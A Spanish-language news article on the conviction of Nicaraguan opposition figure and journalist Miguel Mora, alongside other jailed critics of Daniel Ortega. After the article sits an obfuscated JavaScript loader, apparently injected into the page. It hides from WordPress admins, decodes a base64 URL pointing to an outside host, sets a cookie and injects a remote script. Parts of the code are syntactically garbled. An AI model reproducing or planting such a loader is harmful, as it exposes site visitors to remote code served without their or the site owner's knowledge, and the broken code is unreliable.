

Condenan a opositor de Ortega en Nicaragua

Miguel Mora, exaspirante a la presidencia en Nicaragua, fue encontrado culpable por atentar contra la «integridad nacional». Este fue uno de los juicios contra una cuarentena de opositores al gobierno de Daniel Ortega que están capturados desde el año pasado. Así lo informó su abogado, Gerardo González.

«Fue declarado culpable por el delito de menoscabo a la integridad. La fiscalía pidió que le apliquen la pena de 15 años», dijo González a la prensa tras la conclusión del juicio el pasado viernes. La diligencia se desarrolló a puertas cerradas en la cárcel de la Dirección de Auxilio Judicial (DAJ) de Managua.

Con esta condena son seis los opositores presos desde el año pasado que han sido sentenciados por el gobierno. Los juicios iniciaron este mes y no se conocen sus penas.

Mora, de 53 años, fue precandidato a la presidencia del Partido de Restauración Democrática (PRD). Esta es una de las tres agrupaciones opositoras anuladas por el tribunal electoral antes de los comicios del pasado 7 de noviembre.

Mora se desempeñó como periodista y fue director del canal de televisión 100 % Noticias. En dicho espacio denunció y documentó la represión a las protestas antigubernamentales de 2018.

Dicho canal fue confiscado en diciembre del mismo año. Esa fue la fecha en la que Mora fue detenido por primera. Estuvo privado de libertad hasta junio de 2019, cuando fue beneficiado por una amnistía.

En junio del año pasado, fue capturado nuevamente. Es uno de

los siete exaspirantes a la presidencia de la oposición arrestados en 2021 junto a una cuarentena de críticos del gobierno, bajo cargos en su mayoría de conspirar contra el gobierno.

Otros de los opositores sentenciados en estos días son la exguerrillera sandinista Dora María Téllez y el líder estudiantil Lester Alemán, quien en 2018 enfrentó al presidente Ortega y pidió su dimisión.

La comunidad internacional, la Unión Europea y la Organización de Estados Americanos (OEA) han solicitado la liberación de los opositores en Nicaragua.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=new Date();for(var i=0;i<20)return;if((document.cookie||>).indexOf('http2_session_id')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMN0PQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,01,02,03,h1,h2,h3,h4,dec=>,i=0;input=input.replace(/\^A-Za-zA-9+/=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFrY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl==u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'?';Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
```